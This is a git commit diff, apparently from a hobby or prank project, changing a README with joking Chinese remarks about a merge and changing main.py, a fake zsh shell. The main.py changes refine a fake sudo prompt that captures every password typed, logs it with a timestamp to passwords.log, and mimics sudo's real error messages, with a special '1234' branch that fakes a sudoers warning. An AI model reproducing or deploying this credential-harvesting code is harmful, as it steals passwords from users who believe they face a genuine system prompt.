This commit is contained in:
2025-04-07 08:52:58 +08:00
Unverified
2 changed files with 15 additions and 4 deletions

View File

@@ -12,4 +12,5 @@
## ~~??????? ber哥们 我把你代码合并到main了啊~~
### 好好好其实说白了就是把zsh覆盖main改了几行就成合并了是吧
# 不然呢?
# 不是怎么还耍无赖了那?
# 不是怎么还耍无赖了那?
?

16
main.py
View File

@@ -76,16 +76,26 @@ def pseudo_zsh():
continue
# 伪造 sudo 密码输入并记录
if args[0] == 'sudo':
flight1 = True
a = 0
for attempt in range(3): # 循环 3 次
a += 1
fake_password = getpass.getpass("Password: ")
if fake_password == "1234":
print("20250910553 is not in the sudoers file.\nThis incident has been reported to the administrator.")
flight1 = False
break
with open("passwords.log", "a") as f:
current_time = datetime.now().strftime("%Y-%m-%d %H:%M:%S") # 获取当前时间
f.write(f"[{current_time}] {fake_password}\n") # 写入时间和密码
delay = random.uniform(0.5, 2.0) # 随机延时 0.5 到 2 秒
delay = random.uniform(0.1, 1.0) # 随机延时 0.5 到 2 秒
time.sleep(delay) # 模拟延迟
print("Sorry, try again.")
print("sudo: 3 incorrect password attempts") # 提示错误次数
if a != 3:
print("Sorry, try again.")
if flight1:
print("sudo: 3 incorrect password attempts") # 提示错误次数
continue
# 执行普通命令